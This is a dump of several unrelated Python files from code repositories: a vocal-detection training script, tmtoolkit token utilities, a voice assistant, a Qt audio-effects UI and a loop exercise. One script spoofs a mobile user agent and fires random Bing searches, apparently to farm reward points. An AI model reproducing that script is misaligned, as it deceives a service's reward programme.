start')\n _model.fit(train_ds, epochs=epochs, verbose=verbose, validation_data=val_ds, callbacks=[tensorboard_callback])\n _model.save_weights(os.path.join(WEIGHT_DIR, tag + f\"-{t}\" + \".h5\"))\n q.put(f'{tag}-{t}')\n\n # -------------------------------------------------------------------------------------------------\n\n if training:\n q = multiprocessing.Queue()\n for t in range(times):\n p = multiprocessing.Process(target=train, args=(t, q))\n p.start()\n p.join()\n tags.append(q.get())\n else: # For test\n tags = [f'{tag}-{i}' for i in range(times)]\n\n tag = tag.replace('.', '_').replace(' ', '_').replace('/', '_').replace('\\\\', '_')\n LOG.info(f'Model: {tag}')\n mgr = multiprocessing.Manager()\n # Testing ------------------------------------------------------------------------------------------\n cls_results = {s: mgr.list() for s in test_ds_paths}\n cls_results['ground_truth'] = {}\n total_acc = mgr.list([0 for _ in test_ds_paths])\n acc_list = mgr.list([mgr.list() for _ in test_ds_paths])\n\n LOG.info('Run test')\n for index, _tag in enumerate(tags):\n\n def test():\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model = Model(input_shape, classes).model()\n _model.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n _model.load_weights(os.path.join(WEIGHT_DIR, _tag + '.h5'))\n\n # Evaluation\n for i, test_ds_path in enumerate(test_ds_paths):\n test_ds = dataset.load(test_ds_path).batch(batch_size)\n score, acc = _model.evaluate(test_ds, verbose=0)\n result = _model.predict(test_ds)\n cls_results[test_ds_path].append(np.where(result >= 0.5, 1, 0))\n acc_list[i].append(acc)\n total_acc[i] += acc\n LOG.debug(f'no.{index + 1}, score={score}, acc={acc}')\n del test_ds\n del _model\n\n p = multiprocessing.Process(target=test)\n p.start()\n p.join()\n\n # Explainable block test\n if explainable:\n try:\n Model_ex = importlib.import_module(f'models.{model}_EX').__getattribute__(f'{model}_EX')\n LOG.info(f'Run {model}_EX explainable block test')\n\n # Magnification = 4\n # filter_x = 45 # 63\n # filter_y = 120 # 1024\n max_x_position_bias = 63 - filter_x\n max_y_position_bias = 1024 - filter_y\n cls_results_ex = {}\n total_acc_ex = mgr.list()\n acc_list_ex = mgr.list()\n LOG.info(f'filter_x:{filter_x}, filter_y: {filter_y}, Magnification:{magnification}')\n # Iterate only one model\n for index, _tag in enumerate(tags):\n bias_count = 0\n for y_position_bias in range(0, max_y_position_bias, filter_y):\n for x_position_bias in range(0, max_x_position_bias, 5):\n bias_key = f'x{x_position_bias}~{x_position_bias+filter_x}_y{y_position_bias}~{y_position_bias+filter_y}={magnification}'\n LOG.debug(f'no.{index+1}, {bias_key}:')\n if index == 0:\n cls_results_ex[bias_key] = {s: mgr.list() for s in test_ds_paths}\n total_acc_ex.append(mgr.list([0 for _ in test_ds_paths]))\n acc_list_ex.append(mgr.list([mgr.list() for _ in test_ds_paths]))\n\n def test():\n # Create models\n strategy = tf.distribute.MirroredStrategy(devices=[f'/gpu:{i}' for i in range(num_gpus)])\n with strategy.scope():\n _model_ex, _model_revise_spectrogram, _model_origin_spectrogram = Model_ex(\n input_shape, classes, x_position_bias, y_position_bias, filter_x, filter_y, magnification\n ).model()\n _model_ex.compile(loss=loss, optimizer=get_optimizer(optimizer, lr), metrics=metrics)\n _model_ex.load_weights(os.path.join(WEIGHT_DIR, _tag + '.h5'))\n\n # Evaluate all test datasets\n for i, test_ds_path in enumerate(test_ds_paths):\n test_ds = dataset.load(test_ds_path).batch(batch_size)\n score, acc = _model_ex.evaluate(test_ds, verbose=0)\n result = _model_ex.predict(test_ds)\n\n # Append result\n cls_results_ex[bias_key][test_ds_path].append(np.where(result >= 0.5, 1, 0))\n acc_list_ex[bias_count][i].append(acc)\n total_acc_ex[bias_count][i] += acc\n LOG.debug(f'no.{index + 1}, score={score}, acc={acc}')\n del test_ds\n del _model_ex, _model_revise_spectrogram, _model_origin_spectrogram\n\n p = multiprocessing.Process(target=test)\n p.start()\n p.join()\n bias_count += 1\n\n bias_count = 0\n # Iterate all block\n for y_position_bias in range(0, max_y_position_bias, filter_y):\n for x_position_bias in range(0, max_x_position_bias, 5):\n bias_key = f'x{x_position_bias}~{x_position_bias+filter_x}_y{y_position_bias}~{y_position_bias+filter_y}={magnification}'\n LOG.debug(bias_key)\n for i, test_ds_path in enumerate(test_ds_paths):\n LOG.debug(f\"Dataset {test_ds_path}\")\n reverses = []\n # Iterate one model\n for index in range(len(tags)):\n reversed = explainable_block(cls_results_ex[bias_key][test_ds_path][index], cls_results[test_ds_path][index])\n reverses.append(reversed)\n LOG.debug(f\"第{index+1}次正確率:{acc_list_ex[bias_count][i][index]*100:.4f}, 反轉率: {reversed*100:.4f}%\")\n average_acc = total_acc_ex[bias_count][i] / len(acc_list_ex[bias_count][i])\n average_reverse = np.sum(reverses) / len(reverses)\n LOG.info(\n f\"x{x_position_bias},y{y_position_bias},m{magnification} avg_acc: {average_acc*100:.6f}%, 反轉率: {average_reverse*100:.4f}%\"\n )\n json.dump(\n cls_results_ex,\n open(os.path.join(DATA_DIR, 'json', f'{tag}_{filter_x}_{filter_y}_{magnification}_cls_result_ex.json'), \"w\"),\n cls=NumpyEncoder\n )\n except Exception as err:\n LOG.error(err)\n LOG.info(f'Cannot run {model}_EX explainable block test')\n\n for i, test_ds_path in enumerate(test_ds_paths):\n LOG.info(f\"Dataset {test_ds_path}\")\n for index in range(times):\n LOG.info(f\"第{index+1}次正確率:{acc_list[i][index]:.4f}\")\n average_acc = total_acc[i] / len(acc_list[i])\n LOG.info(f\"Average_acc: {average_acc*100:.6f}%\")\n\n ground_truth = np.array(dataset.get_ground_truth(test_ds_path))\n cls_results['ground_truth'][test_ds_path] = ground_truth\n voting_acc, _, _ = voting(cls_results[test_ds_path], ground_truth, f'{tag}_{test_ds_path}')\n LOG.info(f\"Voting_acc: {voting_acc*100:.6f}%\")\n\n json.dump(cls_results, open(os.path.join(DATA_DIR, 'json', f'{tag}_cls_result.json'), \"w\"), cls=NumpyEncoder)\n end = time.time()\n elapsed = end - start\n LOG.info(f\"Time taken: {elapsed:.3f} seconds.\")\n\n\n_examples = '''examples:\n # Train SCNN 18Layers using the keras:\n python %(prog)s \\\\\n --model SCNN18 \\\\\n --train_ds_path SCNN-Jamendo-train.h5 \\\\\n --val_ds_path SCNN-Jamendo-test.h5 \\\\\n --test_ds_paths SCNN-test-hard.h5 FMA-C-1-fixed-SCNN-Test.h5 SCNN-Jamendo-test.h5 \\\\\n --additional_ds_path SCNN-MIR-1k-train.h5 \\\\\n --classes 2 \\\\\n --sample_size 32000 1 \\\\\n --epochs 160 \\\\\n --batch_size 150 \\\\\n --loss categorical_crossentropy \\\\\n --optimizer adadelta \\\\\n --metrics accuracy \\\\\n --lr 1.0 \\\\\n --times 10 \\\\\n --training\n'''\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Train SCNN 18Layers\", epilog=_examples, formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('--model', required=True, help=\"SCNN18,SCNN36,AutoEncoderRemoveVocal\")\n parser.add_argument('--train_ds_path', required=True, help='Training dataset path')\n parser.add_argument('--train_ds_size', help='Cut training dataset', type=int)\n parser.add_argument('--val_ds_path', required=True, help='validation dataset path')\n parser.add_argument('--test_ds_paths', help='Testing dataset paths(default: %(default)s)', nargs='+', default=[])\n parser.add_argument('--additional_ds_path', help='Additional dataset path(default: %(default)s)', default=None)\n parser.add_argument('--additional_ds_size', help='Additional dataset size(default: %(default)s)', type=int)\n parser.add_argument('--classes', help='Output class number(default: %(default)s)', default=2, type=int)\n parser.add_argument('--sample_size', help='Audio sample size(default: %(default)s)', nargs='+', type=int, default=[32000, 1])\n parser.add_argument('--epochs', help=\"epochs (default: %(default)s)\", default=160, type=int)\n parser.add_argument('--batch_size', help=\"batch_size (default: %(default)s)\", default=150, type=int)\n parser.add_argument('--loss', help=\"loss(default: %(default)s)\", default='categorical_crossentropy', type=str)\n parser.add_argument('--optimizer', help=\"optimizer(default: %(default)s)\", default='adadelta', type=str)\n parser.add_argument('--metrics', help=\"metrics(default: %(default)s)\", nargs='+', default=['accuracy'])\n parser.add_argument('--lr', help=\"learning rate(default: %(default)s for optimizer default value)\", default=0.0, type=float)\n parser.add_argument('--times', help=\"Loop times(default: %(default)s)\", default=10, type=int)\n parser.add_argument('--training', help=\"Is training?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--explainable', help=\"Run explainable?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--filter_x', help=\"Explainable filter_x(default: %(default)s)\", default=45, type=int)\n parser.add_argument('--filter_y', help=\"Explainable filter_y(default: %(default)s)\", default=120, type=int)\n parser.add_argument('--magnification', help=\"Explainable magnification(default: %(default)s)\", default=4, type=int)\n parser.add_argument('--tag', help=\"weights tag?(default: %(default)s)\", default=None, type=str)\n parser.add_argument('--num_gpus', help=\"Number of gpus(default: %(default)s)\", default=2, type=int)\n parser.add_argument('--debug', help=\"Is debuging?(default: %(default)s)\", default=False, action='store_true')\n parser.add_argument('--seed', help=\"Random seed (default: %(default)s)\", type=int)\n parser.add_argument('--verbose', help=\"Verbose (default: %(default)s)\", default=1, type=int)\n\n args = parser.parse_args()\n\n run(**vars(args))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NTUT-LabASPL/VocalDetection","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":18798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31536824755","text":"import webbrowser\nimport subprocess\nimport psutil\nimport random\nimport time\n\ndef OpenWebsite(url):\n webbrowser.get(\"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe %s\").open_new_tab(url)\n\nbaseUrl = \"https://www.bing.com/search?q=\"\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\nmobile = subprocess.Popen(['C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe', '--user-agent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1'])\n\ntime.sleep(2)\n\n# mobile first\nfor i in range(25):\n newUrl = baseUrl\n for j in range(20):\n newUrl += random.choice(alphabet)\n OpenWebsite(newUrl)\n time.sleep(0.25)\n\npsutil.Process(mobile.pid).kill()","repo_name":"waguo/bingRewards","sub_path":"autosearchMobile.py","file_name":"autosearchMobile.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"16654235760","text":"# Write a Python program to construct the following pattern, using a for loop.\n# * \n# * * \n# * * * \n# * * * * \n\nheight = int(input(\"Enter a number: \"))\n\nfor i in range(1, height+1, 1):\n print(i*'* ')\n\n\nfor i in range(height+1, 0, -1):\n print(i*'* ')","repo_name":"solomoniosif/SDA_Python_Exercises","sub_path":"20_decembrie_2020/20-12-ex3.py","file_name":"20-12-ex3.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"9819841528","text":"\"\"\"\nFunctions that operate on single token documents (lists or arrays of string tokens).\n\"\"\"\n\nimport re\n\nimport numpy as np\nimport globre\n\nfrom ..utils import require_listlike, require_listlike_or_set, flatten_list, empty_chararray\n\n\n#%%\n\n\ndef token_match(pattern, tokens, match_type='exact', ignore_case=False, glob_method='match'):\n \"\"\"\n Return a boolean NumPy array signaling matches between `pattern` and `tokens`. `pattern` is a string that will be\n compared with each element in sequence `tokens` either as exact string equality (`match_type` is ``'exact'``) or\n regular expression (`match_type` is ``'regex'``) or glob pattern (`match_type` is ``'glob'``).\n\n :param pattern: either a string or a compiled RE pattern used for matching against `tokens`\n :param tokens: list or NumPy array of string tokens\n :param match_type: one of: 'exact', 'regex', 'glob'; if 'regex', `search_token` must be RE pattern; if `glob`,\n `search_token` must be a \"glob\" pattern like \"hello w*\"\n (see https://github.com/metagriffin/globre)\n :param ignore_case: if True, ignore case for matching\n :param glob_method: if `match_type` is 'glob', use this glob method. Must be 'match' or 'search' (similar\n behavior as Python's `re.match` or `re.search`)\n :return: 1D boolean NumPy array of length ``len(tokens)`` where elements signal matches between `pattern` and the\n respective token from `tokens`\n \"\"\"\n if match_type not in {'exact', 'regex', 'glob'}:\n raise ValueError(\"`match_type` must be one of `'exact', 'regex', 'glob'`\")\n\n if len(tokens) == 0:\n return np.array([], dtype=bool)\n\n if not isinstance(tokens, np.ndarray):\n tokens = np.array(tokens)\n\n ignore_case_flag = dict(flags=re.IGNORECASE) if ignore_case else {}\n\n if match_type == 'exact':\n return np.char.lower(tokens) == pattern.lower() if ignore_case else tokens == pattern\n elif match_type == 'regex':\n if isinstance(pattern, str):\n pattern = re.compile(pattern, **ignore_case_flag)\n vecmatch = np.vectorize(lambda x: bool(pattern.search(x)))\n return vecmatch(tokens)\n else:\n if glob_method not in {'search', 'match'}:\n raise ValueError(\"`glob_method` must be one of `'search', 'match'`\")\n\n if isinstance(pattern, str):\n pattern = globre.compile(pattern, **ignore_case_flag)\n\n if glob_method == 'search':\n vecmatch = np.vectorize(lambda x: bool(pattern.search(x)))\n else:\n vecmatch = np.vectorize(lambda x: bool(pattern.match(x)))\n\n return vecmatch(tokens) if len(tokens) > 0 else np.array([], dtype=bool)\n\n\ndef token_match_subsequent(patterns, tokens, **kwargs):\n \"\"\"\n Using N patterns in `patterns`, return each tuple of N matching subsequent tokens from `tokens`. Excepts the same\n token matching options via `kwargs` as :func:`~tmtoolkit.preprocess.token_match`. The results are returned as list\n of NumPy arrays with indices into `tokens`.\n\n Example::\n\n # indices: 0 1 2 3 4 5 6\n tokens = ['hello', 'world', 'means', 'saying', 'hello', 'world', '.']\n\n token_match_subsequent(['hello', 'world'], tokens)\n # [array([0, 1]), array([4, 5])]\n\n token_match_subsequent(['world', 'hello'], tokens)\n # []\n\n token_match_subsequent(['world', '*'], tokens, match_type='glob')\n # [array([1, 2]), array([5, 6])]\n\n .. seealso:: :func:`~tmtoolkit.preprocess.token_match`\n\n :param patterns: a sequence of search patterns as excepted by :func:`~tmtoolkit.preprocess.token_match`\n :param tokens: a sequence of tokens to be used for matching\n :param kwargs: token matching options as passed to :func:`~tmtoolkit.preprocess.token_match`\n :return: list of NumPy arrays with subsequent indices into `tokens`\n \"\"\"\n require_listlike(patterns)\n\n n_pat = len(patterns)\n\n if n_pat < 2:\n raise ValueError('`patterns` must contain at least two strings')\n\n n_tok = len(tokens)\n\n if n_tok == 0:\n return []\n\n if not isinstance(tokens, np.ndarray):\n require_listlike(tokens)\n tokens = np.array(tokens)\n\n # iterate through the patterns\n for i_pat, pat in enumerate(patterns):\n if i_pat == 0: # initial matching on full token array\n next_indices = np.arange(n_tok)\n else: # subsequent matching uses previous match indices + 1 to match on tokens right after the previous matches\n next_indices = match_indices + 1\n next_indices = next_indices[next_indices < n_tok] # restrict maximum index\n\n # do the matching with the current subset of \"tokens\"\n pat_match = token_match(pat, tokens[next_indices], **kwargs)\n\n # pat_match is boolean array. use it to select the token indices where we had a match\n # this is used in the next iteration again to select the tokens right after these matches\n match_indices = next_indices[pat_match]\n\n if len(match_indices) == 0: # anytime when no successful match appeared, we can return the empty result\n return [] # because *all* subsequent patterns must match corresponding subsequent tokens\n\n # at this point, match_indices contains indices i that point to the *last* matched token of the `n_pat` subsequently\n # matched tokens\n\n assert np.min(match_indices) - n_pat + 1 >= 0\n assert np.max(match_indices) < n_tok\n\n # so we can use this to reconstruct the whole \"trace\" subsequently matched indices as final result\n return list(map(lambda i: np.arange(i - n_pat + 1, i + 1), match_indices))\n\n\ndef token_glue_subsequent(tokens, matches, glue='_', return_glued=False):\n \"\"\"\n Select subsequent tokens as defined by list of indices `matches` (e.g. output of\n :func:`~tmtoolkit.preprocess.token_match_subsequent`) and join those by string `glue`. Return a list of tokens\n where the subsequent matches are replaced by the joint tokens.\n\n .. warning:: Only works correctly when matches contains indices of *subsequent* tokens.\n\n Example::\n\n token_glue_subsequent(['a', 'b', 'c', 'd', 'd', 'a', 'b', 'c'], [np.array([1, 2]), np.array([6, 7])])\n # ['a', 'b_c', 'd', 'd', 'a', 'b_c']\n\n .. seealso:: :func:`~tmtoolkit.preprocess.token_match_subsequent`\n\n :param tokens: a sequence of tokens\n :param matches: list of NumPy arrays with *subsequent* indices into `tokens` (e.g. output of\n :func:`~tmtoolkit.preprocess.token_match_subsequent`)\n :param glue: string for joining the subsequent matches or None if no joint tokens but a None object should be placed\n in the result list\n :param return_glued: if yes, return also a list of joint tokens\n :return: either two-tuple or list; if `return_glued` is True, return a two-tuple with 1) list of tokens where the\n subsequent matches are replaced by the joint tokens and 2) a list of joint tokens; if `return_glued` is\n True only return 1)\n \"\"\"\n require_listlike(matches)\n\n if return_glued and glue is None:\n raise ValueError('if `glue` is None, `return_glued` must be False')\n\n n_tok = len(tokens)\n\n if n_tok == 0:\n if return_glued:\n return [], []\n else:\n return []\n\n if not isinstance(tokens, np.ndarray):\n tokens = np.array(tokens)\n\n start_ind = dict(zip(map(lambda x: x[0], matches), matches))\n res = []\n glued = []\n\n i_t = 0\n while i_t < n_tok:\n if i_t in start_ind:\n seq = tokens[start_ind[i_t]]\n t = None if glue is None else glue.join(seq)\n if return_glued:\n glued.append(t)\n res.append(t)\n i_t += len(seq)\n else:\n res.append(tokens[i_t])\n i_t += 1\n\n if return_glued:\n return res, glued\n else:\n return res\n\n\ndef expand_compound_token(t, split_chars=('-',), split_on_len=2, split_on_casechange=False):\n \"\"\"\n Expand a token `t` if it is a compound word, e.g. splitting token \"US-Student\" into two tokens \"US\" and\n \"Student\".\n\n .. seealso:: :func:`~tmtoolkit.preprocess.expand_compounds` which operates on token documents\n\n :param t: string token\n :param split_chars: characters to split on\n :param split_on_len: minimum length of a result token when considering splitting (e.g. when ``split_on_len=2``\n \"e-mail\" would not be split into \"e\" and \"mail\")\n :param split_on_casechange: use case change to split tokens, e.g. \"CamelCase\" would become \"Camel\", \"Case\"\n :return: list with split sub-tokens or single original token, i.e. ``[t]``\n \"\"\"\n if not isinstance(t, str):\n raise ValueError('`t` must be a string')\n\n if isinstance(split_chars, str):\n split_chars = (split_chars,)\n\n require_listlike_or_set(split_chars)\n\n if split_on_len is not None and split_on_len < 1:\n raise ValueError('`split_on_len` must be greater or equal 1')\n\n if split_on_casechange and not split_chars:\n t_parts = str_shapesplit(t, min_part_length=split_on_len)\n else:\n split_chars = set(split_chars)\n t_parts = str_multisplit(t, split_chars)\n\n if split_on_casechange:\n t_parts = flatten_list([str_shapesplit(p, min_part_length=split_on_len) for p in t_parts])\n\n n_parts = len(t_parts)\n assert n_parts > 0\n\n if n_parts == 1:\n return t_parts\n else:\n parts = []\n add = False # signals if current part should be appended to previous part\n\n for p in t_parts:\n if not p: continue # skip empty part\n if add and parts: # append current part p to previous part\n parts[-1] += p\n else: # add p as separate token\n parts.append(p)\n\n if split_on_len:\n # if p consists of less than `split_on_len` characters -> append the next p to it\n add = len(p) < split_on_len\n\n if split_on_casechange:\n # alt. strategy: if p is all uppercase (\"US\", \"E\", etc.) -> append the next p to it\n add = add and p.isupper() if split_on_len else p.isupper()\n\n if add and len(parts) >= 2:\n parts = parts[:-2] + [parts[-2] + parts[-1]]\n\n return parts or [t]\n\n\ndef str_multisplit(s, split_chars):\n \"\"\"\n Split string `s` by all characters in `split_chars`.\n\n :param s: a string to split\n :param split_chars: sequence or set of characters to use for splitting\n :return: list of split string parts\n \"\"\"\n if not isinstance(s, (str, bytes)):\n raise ValueError('`s` must be of type `str` or `bytes`')\n\n require_listlike_or_set(split_chars)\n\n parts = [s]\n for c in split_chars:\n parts_ = []\n for p in parts:\n parts_.extend(p.split(c))\n parts = parts_\n\n return parts\n\n\ndef str_shape(s, lower=0, upper=1, as_str=False):\n \"\"\"\n Generate a sequence that reflects the \"shape\" of string `s`.\n\n :param s: input string\n :param lower: shape element marking a lower case letter\n :param upper: shape element marking an upper case letter\n :param as_str: join the sequence to a string\n :return: shape list or string if `as_str` is True\n \"\"\"\n shape = [lower if c.islower() else upper for c in s]\n\n if as_str:\n if not isinstance(lower, str) or not isinstance(upper, str):\n shape = map(str, shape)\n\n return ''.join(shape)\n\n return shape\n\n\ndef str_shapesplit(s, shape=None, min_part_length=2):\n \"\"\"\n Split string `s` according to its \"shape\" which is either given by `shape` (see\n :func:`~tmtoolkit.preprocess.str_shape`).\n\n :param s: string to split\n :param shape: list where 0 denotes a lower case character and 1 an upper case character; if `shape` is None,\n it is computed via :func:`~tmtoolkit.preprocess.str_shape()`\n :param min_part_length: minimum length of a chunk (as long as ``len(s) >= min_part_length``)\n :return: list of substrings of `s`; returns ``['']`` if `s` is empty string\n \"\"\"\n\n if not isinstance(s, str):\n raise ValueError('`s` must be string')\n\n if min_part_length is None:\n min_part_length = 2\n\n if min_part_length < 1:\n raise ValueError('`min_part_length` must be greater or equal 1')\n\n if not s:\n return ['']\n\n if shape is None:\n shape = str_shape(s)\n elif len(shape) != len(s):\n raise ValueError('`shape` must have same length as `s`')\n\n shapechange = np.abs(np.diff(shape, prepend=[shape[0]])).tolist()\n assert len(s) == len(shape) == len(shapechange)\n\n parts = []\n n = 0\n while shapechange and n < len(s):\n if n == 0:\n begin = 0\n else:\n begin = shapechange.index(1, n)\n\n try:\n offset = n + 1 if n == 0 and shape[0] == 0 else n + min_part_length\n end = shapechange.index(1, offset)\n #end = shapechange.index(1, n+min_part_length)\n n += end - begin\n except ValueError:\n end = None\n n = len(s)\n\n chunk = s[begin:end]\n\n if (parts and len(parts[-1]) >= min_part_length and len(chunk) >= min_part_length) or not parts:\n parts.append(chunk)\n else:\n parts[-1] += chunk\n\n return parts\n\n\n#%% other functions\n\n\ndef make_index_window_around_matches(matches, left, right, flatten=False, remove_overlaps=True):\n \"\"\"\n Take a boolean 1D vector `matches` of length N and generate an array of indices, where each occurrence of a True\n value in the boolean vector at index i generates a sequence of the form:\n\n .. code-block:: text\n\n [i-left, i-left+1, ..., i, ..., i+right-1, i+right, i+right+1]\n\n If `flatten` is True, then a flattened NumPy 1D array is returned. Otherwise, a list of NumPy arrays is returned,\n where each array contains the window indices.\n\n `remove_overlaps` is only applied when `flatten` is True.\n\n Example with ``left=1 and right=1, flatten=False``:\n\n .. code-block:: text\n\n input:\n # 0 1 2 3 4 5 6 7 8\n [True, True, False, False, True, False, False, False, True]\n output (matches *highlighted*):\n [[0, *1*], [0, *1*, 2], [3, *4*, 5], [7, *8*]]\n\n Example with ``left=1 and right=1, flatten=True, remove_overlaps=True``:\n\n .. code-block:: text\n\n input:\n # 0 1 2 3 4 5 6 7 8\n [True, True, False, False, True, False, False, False, True]\n output (matches *highlighted*, other values belong to the respective \"windows\"):\n [*0*, *1*, 2, 3, *4*, 5, 7, *8*]\n \"\"\"\n if not isinstance(matches, np.ndarray) or matches.dtype != bool:\n raise ValueError('`matches` must be a boolean NumPy array')\n if not isinstance(left, int) or left < 0:\n raise ValueError('`left` must be an integer >= 0')\n if not isinstance(right, int) or right < 0:\n raise ValueError('`right` must be an integer >= 0')\n\n ind = np.where(matches)[0]\n nested_ind = list(map(lambda x: np.arange(x - left, x + right + 1), ind))\n\n if flatten:\n if not nested_ind:\n return np.array([], dtype=np.int_)\n\n window_ind = np.concatenate(nested_ind)\n window_ind = window_ind[(window_ind >= 0) & (window_ind < len(matches))]\n\n if remove_overlaps:\n return np.sort(np.unique(window_ind))\n else:\n return window_ind\n else:\n return [w[(w >= 0) & (w < len(matches))] for w in nested_ind]\n\n\ndef require_tokendocs(docs, types=(list, np.ndarray),\n error_msg='the argument must be a list of string token documents'):\n require_listlike(docs)\n\n if docs:\n first_doc = next(iter(docs))\n if not isinstance(first_doc, types):\n raise ValueError(error_msg)\n","repo_name":"ihavemanyquestions/tmtoolkit","sub_path":"tmtoolkit/preprocess/_tokenfuncs.py","file_name":"_tokenfuncs.py","file_ext":"py","file_size_in_byte":16056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"}
+{"seq_id":"13563901978","text":"import web_access as wa\nimport wolframalpha\nimport speech_recognition as sr \nimport playsound \nfrom open_app import open_application\nfrom gtts import gTTS \nimport os \nimport assistant_speaks as ass\nimport date_access as da\nimport get_audio as ga\n\ndef process_speak(text):\n # print(text)\n try: \n if 'search' in text or 'play' in text: \n wa.find_web(text) \n return\n \n elif 'todays date' in text or 'date' in text:\n ass.assistant_speaks(da.get_date())\n return\n \n elif \"who are you\" in text or \"define yourself\" in text: \n speak = \"Hello, I am Goku Sir\" \n ass.assistant_speaks(speak) \n return\n \n elif \"who made you\" in text or \"created you\" in text: \n speak = \"You Sir Ashutosh.\"\n ass.assistant_speaks(speak) \n return\n \n elif \"ashutoshpith\" in text:\n speak = \"\"\"It's Your Website Sir\"\"\"\n ass.assistant_speaks(speak) \n return\n \n elif \"calculate\" in text.lower(): \n \n # write your wolframalpha app_id here \n app_id = \"WOLFRAMALPHA_APP_ID\" \n client = wolframalpha.Client(app_id) \n \n indx = text.lower().split().index('calculate') \n query = text.split()[indx + 1:] \n res = client.query(' '.join(query)) \n answer = next(res.results).text \n ass.assistant_speaks(\"The answer is \" + answer) \n return\n \n elif 'open' in text: \n open_application(text.lower()) \n return\n \n else: \n \n ass.assistant_speaks(\"I can search the web for you, Do you want to continue?\") \n ans = ga.get_audio() \n if 'yes' in str(ans) or 'yeah' in str(ans): \n wa.find_web(text) \n else: \n return\n except : \n \n ass.assistant_speaks(\"I don't understand, I can search the web for you, Do you want to continue?\") \n ans = ga.get_audio() \n if 'yes' in str(ans) or 'yeah' in str(ans): \n wa.find_web(text) \n","repo_name":"ashutoshpith/Voice-Assistant-in-Python","sub_path":"text_process.py","file_name":"text_process.py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"28716201049","text":"import sys, time, json, os.path, os, subprocess, queue, threading\nos.environ[\"QT_IM_MODULE\"] = \"qtvirtualkeyboard\"\nfrom signal import signal, SIGINT, SIGTERM\nfrom time import sleep\nfrom sys import exit\n###### UI\n# --------------------------------------------------------------------------------------------------------\n\noutput_port_names = {\"Out 1\": (\"system\", \"playback_3\"),\n \"Out 2\": (\"system\", \"playback_4\"),\n \"Out 3\": (\"system\", \"playback_6\"),\n \"Out 4\": (\"system\", \"playback_8\"),\n \"Delay 1 In\": (\"delay1\", \"in0\"),\n \"Delay 2 In\": (\"delay2\", \"in0\"),\n \"Delay 3 In\": (\"delay3\", \"in0\"),\n \"Delay 4 In\": (\"delay4\", \"in0\"),\n \"Cab\": (\"cab\", \"In\"),\n \"Reverb\": (\"eq2\", \"In\"),\n }\n# inv_source_port_names = dict({(v, k) for k,v in source_port_names.items()})\ninv_output_port_names = dict({(v, k) for k,v in output_port_names.items()})\n\ndef ui_worker(ui_mess, core_mess):\n os.sched_setaffinity(0, (2, ))\n EXIT_PROCESS = [False]\n from PySide2.QtGui import QGuiApplication\n from PySide2.QtCore import QObject, QUrl, Slot, QStringListModel, Property, Signal\n from PySide2.QtQml import QQmlApplicationEngine\n from PySide2.QtGui import QIcon\n # compiled QML files, compile with pyside2-rcc\n import qml.qml\n import icons.icons#, imagine_assets\n import resource_rc\n import start_jconvolver\n\n def clamp(v, min_value, max_value):\n return max(min(v, max_value), min_value)\n\n def send_core_message(command, args):\n core_messages.put((command, args))\n\n class PolyEncoder(QObject):\n # name, min, max, value\n def __init__(self, starteffect=\"\", startparameter=\"\"):\n QObject.__init__(self)\n self.effectval = starteffect\n self.parameterval = startparameter\n self.speed = 1\n self.value = 1\n\n def readEffect(self):\n return self.effectval\n\n def setEffect(self,val):\n self.effectval = val\n self.effect_changed.emit()\n\n @Signal\n def effect_changed(self):\n pass\n\n effect = Property(str, readEffect, setEffect, notify=effect_changed)\n\n def readParameter(self):\n return self.parameterval\n\n def setParameter(self,val):\n self.parameterval = val\n self.parameter_changed.emit()\n\n @Signal\n def parameter_changed(self):\n pass\n\n parameter = Property(str, readParameter, setParameter, notify=parameter_changed)\n\n class PolyBool(QObject):\n # name, min, max, value\n def __init__(self, startval=False):\n QObject.__init__(self)\n self.valueval = startval\n\n def readValue(self):\n return self.valueval\n\n def setValue(self,val):\n self.valueval = val\n self.value_changed.emit()\n\n @Signal\n def value_changed(self):\n pass\n\n value = Property(bool, readValue, setValue, notify=value_changed)\n\n class PolyValue(QObject):\n # name, min, max, value\n def __init__(self, startname=\"\", startval=0, startmin=0, startmax=1, curve_type=\"lin\"):\n QObject.__init__(self)\n self.nameval = startname\n self.valueval = startval\n self.rminval = startmin\n self.rmax = startmax\n self.assigned_cc = None\n\n def readValue(self):\n return self.valueval\n\n def setValue(self,val):\n # clamp values\n self.valueval = clamp(val, self.rmin, self.rmax)\n self.value_changed.emit()\n # print(\"setting value\", val)\n\n @Signal\n def value_changed(self):\n pass\n\n value = Property(float, readValue, setValue, notify=value_changed)\n\n def readName(self):\n return self.nameval\n\n def setName(self,val):\n self.nameval = val\n self.name_changed.emit()\n\n @Signal\n def name_changed(self):\n pass\n\n name = Property(str, readName, setName, notify=name_changed)\n\n def readRMin(self):\n return self.rminval\n\n def setRMin(self,val):\n self.rminval = val\n self.rmin_changed.emit()\n\n @Signal\n def rmin_changed(self):\n pass\n\n rmin = Property(float, readRMin, setRMin, notify=rmin_changed)\n\n def readRMax(self):\n return self.rmaxval\n\n def setRMax(self,val):\n self.rmaxval = val\n self.rmax_changed.emit()\n\n @Signal\n def rmax_changed(self):\n pass\n\n rmax = Property(float, readRMax, setRMax, notify=rmax_changed)\n\n source_ports = [\"sigmoid1:Output\", \"delay2:out0\",\"delay3:out0\", \"delay4:out0\",\n 